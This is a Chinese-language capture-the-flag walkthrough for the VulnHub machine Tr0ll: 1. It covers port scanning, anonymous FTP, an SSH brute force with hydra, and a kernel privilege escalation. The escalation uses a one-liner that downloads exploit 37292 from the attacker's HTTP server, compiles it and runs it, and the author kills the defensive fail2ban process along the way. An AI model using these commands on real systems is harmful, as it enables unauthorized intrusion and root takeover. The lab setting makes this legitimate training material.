准备工作
靶机基本信息
靶机名称:
Tr0ll: 1
操作系统:Linux
网络连接方式:NAT
虚拟机软件:VMware Workstation
渗透测试目标:获取靶机root
权限并读取Flag文件
下载地址:Tr0ll: 1 ~ VulnHub
环境配置
点击本文中的靶机下载链接,下载完成之后将其解压至指定位置,随后打开VMware Workstation
,点击主页上的文件
=> 扫描虚拟机
,在弹出的窗口中选中保存路径即可导入靶机。
信息收集
IP地址发现
在Kali Linux中,我们可以使用netdiscover
工具发送ARP
请求来发现靶机的IP地址。
netdiscover -r 192.168.20.0/24
可以发现靶机的IP地址为192.168.20.130
。
防火墙探测
接下来我们使用Nmap
对靶机进行防火墙探测:
nmap -sA -p- 192.168.20.130
无法确定防火墙状态,直接进行网络端口扫描。
网络端口扫描
我们可以使用Nmap
工具扫描靶机的开放端口、软件版本和操作系统版本:
# TCP扫描
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.20.130
# UDP扫描
nmap -sC -sU -sV -T4 -oN ./udp_result.txt 192.168.20.130
TCP
扫描结果UDP
扫描结果
可以看到靶机开放了如下端口:
端口 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|
21 | TCP | FTP | vsftpd 3.0.2 |
22 | TCP | SSH | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) |
80 | TCP | HTTP | Apache httpd 2.4.7 ((Ubuntu)) |
同时发现靶机操作系统为Ubuntu Linux
,内核版本大概为Linux 3.2 - 4.9
。
服务探测
FTP服务(21端口)
我们首先使用Nmap
对靶机的21
号端口进行扫描:
nmap --script=*ftp* -p 21 192.168.20.130
可以看到靶机的FTP
服务允许匿名登录。直接尝试查看:
发现里面只有一个.pcap
格式的网络抓包文件。使用Wireshark
查看:
在流量包的第40号传输中发现了文件secret_stuff.txt
的内容,里面有一个不明意义的词sup3rs3cr3tdirlol
,貌似是告诉我们几乎已经找到了秘密文件夹的位置。
尝试向FTP
上传文件,但是我们并无权限。
SSH服务(22端口)
我们使用Netcat
确定端口Banner:
┌──(root㉿attacker)-[/home/hacker]
└─# nc -nv 192.168.20.130 22
(UNKNOWN) [192.168.20.130] 22 (ssh) open
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2
^C
Web应用程序(80端口)
我们使用浏览器打开网址:http://192.168.20.130/
尝试进行目录扫描:
dirsearch -u http://192.168.20.130/ -x 400,403,404
发现了/secret
和robots.txt
,除此之外,还发现了/sup3rs3cr3tdirlol
目录。
访问robots.txt
,发现内容如下:
User-agent:*
Disallow: /secret
查看/secret
目录:
查看/sup3rs3cr3tdirlol
目录,发现如下文件:
渗透测试
将sup3rs3cr3tdirlol
目录中的文件下载之后,发现为ELF
文件。直接进行逆向分析:
发现该程序只是打印了字符串Find address 0x0856BF to proceed
到终端上,但这里的所谓“地址”应该指的不是内存地址。。。。
尝试访问目录http://192.168.20.130/0x0856BF
:/good_luck
目录下包含一个文本文档。内容如下:
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow
/this_folder_contains_the_password
目录下包含一个文本文档,内容如下:
Good_job_:)
尝试爆破SSH
服务账号密码,但是失败了。
提示说这个文件夹包含密码 ,于是自己制作了如下字典:
Good_job_:)
0x0856BF
this
folder
contains
password
the
this_folder_contains_the_password
Pass
pass
Pass.txt
pass.txt
txt
good
luck
good_luck
which
one
lol
which_one_lol
which_one_lol.txt
再次尝试爆破,成功:
hydra -L ./userlist -P ./pass 192.168.20.130 ssh
找到SSH
登录凭据:
- 用户名:
overflow
- 密码:
Pass.txt
直接使用Termius
登录:
权限提升
本地信息收集
进入靶机系统之后,我们通过SimpleHTTPServer
上传LinPeas
工具进行本地信息收集:
系统基本信息
用户列表
进程列表
特殊权限文件
计划任务
经分析研判后,总结出如下信息:
- 靶机操作系统版本较低,为
Ubuntu Linux 14.04.1 LTS
,内核版本为3.13.0
,可能存在内核漏洞。 - 靶机以
root
用户权限运行了fail2ban-server
程序,经查,该程序为防病毒与主机安全防御软件,不存在通过该程序提权可能(进程ID为1340
)。
内核漏洞提权
我们在获取操作系统版本之后,尝试查询漏洞库:
searchsploit Ubuntu 14.04
成功查询到了多个安全漏洞:
经过一番筛选后,选用了和靶机系统版本最贴合的37292
号漏洞。但是该靶机上的反入侵软件比较强大,基本上传了木马文件就直接秒删,所以我们采取将多条命令合并成一条命令的措施(占用文件),并且在获取到root
权限之后就立刻终止1340
号进程。
wget http://192.168.20.50:9000/37292.c && gcc 37292.c -o 37292 && chmod 777 ./37292 && ./37292
直接更改密码:
# python -c "import pty;pty.spawn('/bin/bash')"
root@troll:/tmp# passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully
成功!!
Flag文件信息
文件名:
proof.txt
文件大小:58.00 Bytes
文件路径:/root/proof.txt
MD5:ac7d51fca202ba7d1a15710966d1c2f0
SHA256:982501baf03dc0ed693222bab038ec3e7a4dbcfe2b2f176cf34a2e26d14571cf
文件内容展示: